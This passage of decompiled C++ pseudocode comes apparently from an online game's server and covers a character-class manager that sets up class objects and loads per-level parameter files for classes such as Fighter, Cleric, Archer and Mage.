22 || classType == 23; } //----- (004330D0) -------------------------------------------------------- void __thiscall CharClassManager::CharClassManager(CharClassManager *this) { CharClassManager *v1; // esi@1 v1 = this; OptionReader::OptionReader(&this->ccm_classdefault.baseclass_4); v1->ccm_classdefault.vfptr = (CharClassVtbl *)CharClass::_vftable_; memset32(v1->ccm_classdefault.cc_array, (int)&v1->ccm_classdefault.cc_def, 0x97u); OptionReader::OptionReader(&v1->ccm_classfighter.baseclass_0.baseclass_4); memset32(v1->ccm_classfighter.baseclass_0.cc_array, (int)&v1->ccm_classfighter.baseclass_0.cc_def, 0x97u); v1->ccm_classfighter.baseclass_0.vfptr = (CharClassVtbl *)CharClassFighter::_vftable_; OptionReader::OptionReader(&v1->ccm_classcleverfighter.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classcleverfighter.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classcleverfighter.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classcleverfighter.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassCleverFighter::_vftable_; OptionReader::OptionReader(&v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWarrior::_vftable_; OptionReader::OptionReader(&v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassGladiator::_vftable_; OptionReader::OptionReader(&v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassKnight::_vftable_; OptionReader::OptionReader(&v1->ccm_classcleric.baseclass_0.baseclass_4); memset32(v1->ccm_classcleric.baseclass_0.cc_array, (int)&v1->ccm_classcleric.baseclass_0.cc_def, 0x97u); v1->ccm_classcleric.baseclass_0.vfptr = (CharClassVtbl *)CharClassCleric::_vftable_; OptionReader::OptionReader(&v1->ccm_classhighcleric.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classhighcleric.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classhighcleric.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classhighcleric.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassHighCleric::_vftable_; OptionReader::OptionReader(&v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassPaladin::_vftable_; OptionReader::OptionReader(&v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassHolyKnight::_vftable_; OptionReader::OptionReader(&v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassGuardian::_vftable_; OptionReader::OptionReader(&v1->ccm_classarcher.baseclass_0.baseclass_4); memset32(v1->ccm_classarcher.baseclass_0.cc_array, (int)&v1->ccm_classarcher.baseclass_0.cc_def, 0x97u); v1->ccm_classarcher.baseclass_0.vfptr = (CharClassVtbl *)CharClassArchar::_vftable_; OptionReader::OptionReader(&v1->ccm_classhawkarcher.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classhawkarcher.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classhawkarcher.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classhawkarcher.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassHawkArcher::_vftable_; OptionReader::OptionReader(&v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassScout::_vftable_; OptionReader::OptionReader(&v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassSharpShooter::_vftable_; OptionReader::OptionReader(&v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassRanger::_vftable_; OptionReader::OptionReader(&v1->ccm_classmage.baseclass_0.baseclass_4); memset32(v1->ccm_classmage.baseclass_0.cc_array, (int)&v1->ccm_classmage.baseclass_0.cc_def, 0x97u); v1->ccm_classmage.baseclass_0.vfptr = (CharClassVtbl *)CharClassMage::_vftable_; OptionReader::OptionReader(&v1->ccm_classwizmage.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwizmage.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwizmage.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwizmage.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWizMage::_vftable_; OptionReader::OptionReader(&v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassEnchanter::_vftable_; OptionReader::OptionReader(&v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWarrock::_vftable_; OptionReader::OptionReader(&v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWizard::_vftable_; OptionReader::OptionReader(&v1->ccm_classjoker.baseclass_0.baseclass_4); memset32(v1->ccm_classjoker.baseclass_0.cc_array, (int)&v1->ccm_classjoker.baseclass_0.cc_def, 0x97u); v1->ccm_classjoker.baseclass_0.vfptr = (CharClassVtbl *)CharClassJoker::_vftable_; OptionReader::OptionReader(&v1->ccm_classchaser.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classchaser.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classchaser.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classchaser.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassChaser::_vftable_; OptionReader::OptionReader(&v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassCruel::_vftable_; OptionReader::OptionReader(&v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassCloser::_vftable_; OptionReader::OptionReader(&v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassAssassin::_vftable_; OptionReader::OptionReader(&v1->ccm_classmob.baseclass_0.baseclass_4); memset32(v1->ccm_classmob.baseclass_0.cc_array, (int)&v1->ccm_classmob.baseclass_0.cc_def, 0x97u); v1->ccm_classmob.baseclass_0.vfptr = (CharClassVtbl *)CharClassMob::_vftable_; v1->ccm_array[0] = (CharClass *)v1; v1->ccm_array[1] = (CharClass *)v1; v1->ccm_array[2] = (CharClass *)v1; v1->ccm_array[3] = (CharClass *)v1; v1->ccm_array[4] = (CharClass *)v1; v1->ccm_array[5] = (CharClass *)v1; v1->ccm_array[6] = (CharClass *)v1; v1->ccm_array[7] = (CharClass *)v1; v1->ccm_array[8] = (CharClass *)v1; v1->ccm_array[9] = (CharClass *)v1; v1->ccm_array[10] = (CharClass *)v1; v1->ccm_array[11] = (CharClass *)v1; v1->ccm_array[12] = (CharClass *)v1; v1->ccm_array[13] = (CharClass *)v1; v1->ccm_array[14] = (CharClass *)v1; v1->ccm_array[15] = (CharClass *)v1; v1->ccm_array[16] = (CharClass *)v1; v1->ccm_array[17] = (CharClass *)v1; v1->ccm_array[18] = (CharClass *)v1; v1->ccm_array[19] = (CharClass *)v1; v1->ccm_array[20] = (CharClass *)v1; v1->ccm_array[21] = (CharClass *)v1; v1->ccm_array[22] = (CharClass *)v1; v1->ccm_array[23] = (CharClass *)v1; v1->ccm_array[24] = (CharClass *)v1; v1->ccm_array[25] = (CharClass *)v1; v1->ccm_array[26] = (CharClass *)v1; v1->ccm_array[27] = (CharClass *)v1; v1->ccm_array[28] = (CharClass *)v1; v1->ccm_array[29] = (CharClass *)v1; v1->ccm_array[30] = (CharClass *)v1; v1->ccm_array[31] = (CharClass *)v1; v1->ccm_array[3] = (CharClass *)&v1->ccm_classwarrior; v1->ccm_array[4] = (CharClass *)&v1->ccm_classgladiator; v1->ccm_array[5] = (CharClass *)&v1->ccm_classknight; v1->ccm_array[6] = (CharClass *)&v1->ccm_classcleric; v1->ccm_array[7] = (CharClass *)&v1->ccm_classhighcleric; v1->ccm_array[8] = (CharClass *)&v1->ccm_classpaladin; v1->ccm_array[9] = (CharClass *)&v1->ccm_classholyknight; v1->ccm_array[10] = (CharClass *)&v1->ccm_classguardian; v1->ccm_array[11] = (CharClass *)&v1->ccm_classarcher; v1->ccm_array[12] = (CharClass *)&v1->ccm_classhawkarcher; v1->ccm_array[13] = (CharClass *)&v1->ccm_classscout; v1->ccm_array[14] = (CharClass *)&v1->ccm_classsharpshooter; v1->ccm_array[15] = (CharClass *)&v1->ccm_classranger; v1->ccm_array[16] = (CharClass *)&v1->ccm_classmage; v1->ccm_array[17] = (CharClass *)&v1->ccm_classwizmage; v1->ccm_array[18] = (CharClass *)&v1->ccm_classenchanter; v1->ccm_array[19] = (CharClass *)&v1->ccm_classwarrock; v1->ccm_array[20] = (CharClass *)&v1->ccm_classwizard; v1->ccm_array[21] = (CharClass *)&v1->ccm_classjoker; v1->ccm_array[1] = (CharClass *)&v1->ccm_classfighter; v1->ccm_array[2] = (CharClass *)&v1->ccm_classcleverfighter; v1->ccm_array[22] = (CharClass *)&v1->ccm_classchaser; v1->ccm_array[23] = (CharClass *)&v1->ccm_classcruel; v1->ccm_array[24] = (CharClass *)&v1->ccm_classcloser; v1->ccm_array[26] = (CharClass *)&v1->ccm_classmob; v1->ccm_array[25] = (CharClass *)&v1->ccm_classassassin; } // 5A9EE8: using guessed type int (__stdcall *CharClass___vftable_[10])(int iti, int dEndureEndTime); // 5A9F30: using guessed type int (__stdcall *CharClassMob___vftable_[10])(int iti, int dEndureEndTime); // 5A9F78: using guessed type int (__stdcall *CharClassFighter___vftable_[10])(int iti, int dEndureEndTime); // 5A9FC0: using guessed type int (__stdcall *CharClassCleverFighter___vftable_[10])(int iti, int dEndureEndTime); // 5AA008: using guessed type int (__stdcall *CharClassWarrior___vftable_[10])(int iti, int dEndureEndTime); // 5AA050: using guessed type int (__stdcall *CharClassGladiator___vftable_[10])(int iti, int dEndureEndTime); // 5AA098: using guessed type int (__stdcall *CharClassKnight___vftable_[10])(int iti, int dEndureEndTime); // 5AA0E0: using guessed type int (__stdcall *CharClassCleric___vftable_[10])(int iti, int dEndureEndTime); // 5AA128: using guessed type int (__stdcall *CharClassHighCleric___vftable_[10])(int iti, int dEndureEndTime); // 5AA170: using guessed type int (__stdcall *CharClassPaladin___vftable_[10])(int iti, int dEndureEndTime); // 5AA1B8: using guessed type int (__stdcall *CharClassHolyKnight___vftable_[10])(int iti, int dEndureEndTime); // 5AA200: using guessed type int (__stdcall *CharClassGuardian___vftable_[10])(int iti, int dEndureEndTime); // 5AA248: using guessed type int (__stdcall *CharClassArchar___vftable_[10])(int iti, int dEndureEndTime); // 5AA290: using guessed type int (__stdcall *CharClassHawkArcher___vftable_[10])(int iti, int dEndureEndTime); // 5AA2D8: using guessed type int (__stdcall *CharClassScout___vftable_[10])(int iti, int dEndureEndTime); // 5AA320: using guessed type int (__stdcall *CharClassSharpShooter___vftable_[10])(int iti, int dEndureEndTime); // 5AA368: using guessed type int (__stdcall *CharClassRanger___vftable_[10])(int iti, int dEndureEndTime); // 5AA3B0: using guessed type int (__stdcall *CharClassMage___vftable_[10])(int iti, int dEndureEndTime); // 5AA3F8: using guessed type int (__stdcall *CharClassWizMage___vftable_[10])(int iti, int dEndureEndTime); // 5AA440: using guessed type int (__stdcall *CharClassEnchanter___vftable_[10])(int iti, int dEndureEndTime); // 5AA488: using guessed type int (__stdcall *CharClassWarrock___vftable_[10])(int iti, int dEndureEndTime); // 5AA4D0: using guessed type int (__stdcall *CharClassWizard___vftable_[10])(int iti, int dEndureEndTime); // 5AA518: using guessed type int (__stdcall *CharClassJoker___vftable_[10])(int iti, int dEndureEndTime); // 5AA560: using guessed type int (__stdcall *CharClassChaser___vftable_[10])(int iti, int dEndureEndTime); // 5AA5A8: using guessed type int (__stdcall *CharClassCruel___vftable_[10])(int iti, int dEndureEndTime); // 5AA5F0: using guessed type int (__stdcall *CharClassCloser___vftable_[10])(int iti, int dEndureEndTime); // 5AA638: using guessed type int (__stdcall *CharClassAssassin___vftable_[10])(int iti, int dEndureEndTime); //----- (004337B0) -------------------------------------------------------- void __thiscall CharClassManager::_CharClassManager(CharClassManager *this) { CharClassManager *v1; // esi@1 v1 = this; this->ccm_classmob.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&this->ccm_classmob.baseclass_0.baseclass_4); v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classchaser.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classchaser.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classjoker.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classjoker.baseclass_0.baseclass_4); v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classwizmage.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwizmage.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classmage.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classmage.baseclass_0.baseclass_4); v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classhawkarcher.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classhawkarcher.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classarcher.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classarcher.baseclass_0.baseclass_4); v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classhighcleric.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classhighcleric.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classcleric.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classcleric.baseclass_0.baseclass_4); v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classcleverfighter.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classcleverfighter.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classfighter.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classfighter.baseclass_0.baseclass_4); v1->ccm_classdefault.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classdefault.baseclass_4); } // 5A9EE8: using guessed type int (__stdcall *CharClass___vftable_[10])(int iti, int dEndureEndTime); //----- (00433A40) -------------------------------------------------------- void __thiscall CharClass::cc_Load(CharClass *this, Name4 *world, char *txt) { CharClass *v3; // ebp@1 int v4; // ecx@1 int v5; // edx@1 int v6; // eax@1 OptionReader *v7; // edi@1 int v8; // eax@2 int v9; // esi@5 int v10; // ebp@5 void *v11; // eax@6 ORToken v12; // [sp-32h] [bp-ECh]@6 int v13; // [sp-2Eh] [bp-E8h]@6 int v14; // [sp-2Ah] [bp-E4h]@6 int v15; // [sp-26h] [bp-E0h]@6 int v16; // [sp-22h] [bp-DCh]@6 char *v17; // [sp-1Eh] [bp-D8h]@6 int v18; // [sp-1Ah] [bp-D4h]@1 int v19; // [sp-16h] [bp-D0h]@6 char rst; // [sp+1h] [bp-B9h]@2 ORToken *v21; // [sp+2h] [bp-B8h]@6 FunctionEntarance _; // [sp+6h] [bp-B4h]@1 char buf[32]; // [sp+Ah] [bp-B0h]@1 char path[128]; // [sp+2Ah] [bp-90h]@1 unsigned int cookie; // [sp+AAh] [bp-10h]@10 int v26; // [sp+B6h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "CharClass::cc_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharClass::cc_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharClass::cc_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)&world->n4_name[4]; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v6 = *(_DWORD *)&world->n4_name[12]; *(_DWORD *)&buf[4] = v4; v18 = (int)buf; *(_DWORD *)&buf[8] = v5; v26 = 0; *(_DWORD *)&buf[12] = v6; buf[16] = 0; sprintf(path, "../9Data/Shine/World/%s/%s.txt"); v7 = &v3->baseclass_4; if ( !OptionReader::or_Read(&v3->baseclass_4, path) ) { sprintf(path, "../9Data/Shine/World/%s.txt"); rst = OptionReader::or_Read(&v3->baseclass_4, path); v8 = OptionReader::or_ErrorLine(&v3->baseclass_4); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "CharClass::cc_Load : Error in read", v8); ShineExit("CharClass::cc_Load"); } } v9 = 1; v10 = (int)&v3->cc_array[1]; do { v19 = 0; v18 = v9; v17 = "Level"; v21 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "Param", 0x14u); v11 = OptionReader::or_SelectFrom(v7, v12, v17, v18, v19); *(_DWORD *)v10 = v11; if ( v11 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "CharClass::cc_Load : Error in level", v9); ShineExit("CharClass::cc_Load"); } ++v9; v10 += 4; } while ( (unsigned int)v9 < 0x97 ); --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharClass::cc_Load"); __security_check_cookie(cookie); } //----- (00433C20) -------------------------------------------------------- void __thiscall CharClassManager::ccm_Load(CharClassManager *this, Name4 *world) { CharClassManager *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharClassManager::ccm_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharClassManager::ccm_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CharClass::cc_Load(&v2->ccm_classfighter.baseclass_0, world, "ParamFighterServer"); CharClass::cc_Load(&v2->ccm_classcleverfighter.baseclass_0.baseclass_0, world, "ParamCleverFighterServer"); CharClass::cc_Load(&v2->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0, world, "ParamWarriorServer"); CharClass::cc_Load( &v2->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamGladiatorServer"); CharClass::cc_Load(&v2->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamKnightServer"); CharClass::cc_Load(&v2->ccm_classcleric.baseclass_0, world, "ParamClericServer"); CharClass::cc_Load(&v2->ccm_classhighcleric.baseclass_0.baseclass_0, world, "ParamHighClericServer"); CharClass::cc_Load(&v2->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0, world, "ParamPaladinServer"); CharClass::cc_Load( &v2->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamHolyKnightServer"); CharClass::cc_Load( &v2->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamGuardianServer"); CharClass::cc_Load(&v2->ccm_classarcher.baseclass_0, world, "ParamArcherServer"); CharClass::cc_Load(&v2->ccm_classhawkarcher.baseclass_0.baseclass_0, world, "ParamHawkArcherServer"); CharClass::cc_Load(&v2->ccm_classscout.baseclass_0.baseclass_0.baseclass_0, world, "ParamScoutServer"); CharClass::cc_Load( &v2->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamSharpShooterServer"); CharClass::cc_Load(&v2->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamRangerServer"); CharClass::cc_Load(&v2->ccm_classmage.baseclass_0, world, "ParamMageServer"); CharClass::cc_Load(&v2->ccm_classwizmage.baseclass_0.baseclass_0, world, "ParamWizMageServer"); CharClass::cc_Load(&v2->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0, world, "ParamEnchanterServer"); CharClass::cc_Load(&v2->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamWarrockServer"); CharClass::cc_Load(&v2->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamWizardServer"); CharClass::cc_Load(&v2->ccm_classjoker.baseclass_0, world, "ParamJokerServer"); CharClass::cc_Load(&v2->ccm_classchaser.baseclass_0.baseclass_0, world, "ParamChaserServer"); CharClass::cc_Load(&v2->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0, world, "ParamCruelServer"); CharClass::cc_Load(&v2->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamCloserServer"); CharClass::cc_Load( &v2->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamAssassinServer"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharClassManager::ccm_Load"); } //----- (00433E60) -------------------------------------------------------- char *__thiscall NameString::operator__(NameString *this, Name4 *a) { unsigned int v2; // eax@1 char *result; // eax@1 v2 = this->ns_point.mask & (this->ns_point.value + 1); this->ns_point.value = v2; result = (char *)this + 256 * v2; *(_QWORD *)result = *(_QWORD *)&a->n4_name[0]; *((_QWORD *)result + 1) = *(_QWORD *)&a->n4_name[8]; result[16] = 0; return result; } //----- (00433EA0) -------------------------------------------------------- CharClass *__thiscall CharClassManager::operator__(CharClassManager *this, char cc) { CharClass *result; // eax@1 result = (CharClass *)this; if ( (unsigned __int8)cc 